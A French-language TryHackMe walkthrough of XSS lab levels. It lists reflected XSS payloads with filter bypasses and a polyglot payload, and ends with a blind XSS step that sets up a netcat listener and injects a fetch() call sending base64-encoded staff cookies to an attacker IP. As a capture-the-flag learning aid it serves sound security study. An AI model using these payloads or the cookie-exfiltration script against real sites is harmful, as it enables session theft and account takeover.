Spaghetih

đŸ›Ąïž TryHackMe – XSS Walkthrough (Payload THM)

Ce document rĂ©capitule les diffĂ©rents niveaux de la machine TryHackMe sur l’exĂ©cution de payloads XSS afin d’afficher un alert('THM'). On y explore les cas typiques de failles XSS reflected avec filtrage, injection dans attributs ou dans du JavaScript inline.


🎯 Objectif gĂ©nĂ©ral


đŸ§Ș Niveaux & Payloads

đŸ”č Niveau 1 – Injection simple dans le HTML

Contexte : Le nom est injecté directement dans le corps HTML.

Payload :

<script>alert('THM');</script>

đŸ”č Niveau 2 – Injection dans un attribut value=""

Contexte : Le nom est injectĂ© dans l’attribut value d’un champ <input>.

Payload :

"><script>alert('THM');</script>

Explication : Le "> ferme l’attribut value=", puis le script est injectĂ©.


đŸ”č Niveau 3 – Injection dans une balise <textarea>

Contexte : Le texte est injecté dans une balise <textarea>.

Payload :

</textarea><script>alert('THM');</script>

Explication : On ferme le <textarea>, puis on injecte le <script>.


đŸ”č Niveau 4 – Injection dans du JavaScript inline

Contexte : Le nom est intégré dans une variable JS inline.

Payload :

';alert('THM');// 

Explication :


đŸ”č Niveau 5 – Filtrage de mot-clĂ© script

Contexte : Le mot script est supprimé automatiquement.

Payload contournement :

<sscriptcript>alert('THM');</sscriptcript>

Explication : Le filtre supprimant script, le doublement contourne la détection.


đŸ”č Niveau 6 – Injection avec filtre < et > bloquĂ©s

Contexte : On ne peut pas injecter de balises <script> directement.

Payload avec onload:

/images/cat.jpg" onload="alert('THM');

Explication : Utilisation d’un Ă©vĂ©nement onload dans un tag <img>.


đŸ§Ș Payload Polyglot Universel

Un payload XSS “polyglot” peut fonctionner dans de multiples contextes, mĂȘme avec des filtres :

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

🏁 RĂ©sumĂ©

Niveau Contexte Payload
1 HTML direct <script>alert('THM');</script>
2 Input value="" "><script>alert('THM');</script>
3 Balise <textarea> </textarea><script>alert('THM');</script>
4 JavaScript inline ';alert('THM');//
5 Filtrage de script <sscriptcript>alert('THM');</sscriptcript>
6 Filtrage <, > contourné via onload /images/cat.jpg" onload="alert('THM');

Dans cette derniÚre tùche, on exploite une faille de type Blind XSS dans le systÚme de création de ticket support.

🔧 Étapes pratiques :

  1. AccĂšde au site cible :
    https://10-10-186-81.p.thmlabs.com

  2. Crée un compte via Customers > Signup.

  3. Va sur Support Tickets, clique sur Create Ticket, et entre :
    • Subject : test
    • Content : </textarea><script>alert('THM');</script>
  4. Le alert('THM') prouve la faille XSS sur un champ censĂ© ĂȘtre sĂ©curisĂ©.

  1. PrĂ©pare un listener avec Netcat sur l’AttackBox :
    nc -nlvp 9001
    
  2. Payload XSS Ă  injecter dans un ticket :
</textarea><script>fetch('http://YOUR_IP:9001?cookie=' + btoa(document.cookie));</script>

🔾 Remplace YOUR_IP par l’IP de l’AttackBox (ou catcher). 🔾 Tu recevras une requĂȘte contenant les cookies en base64.

  1. Décode sur : https://www.base64decode.org/

✅ But : Obtenir les cookies d’un admin/staff consultant le ticket → escalade de privilùges possible.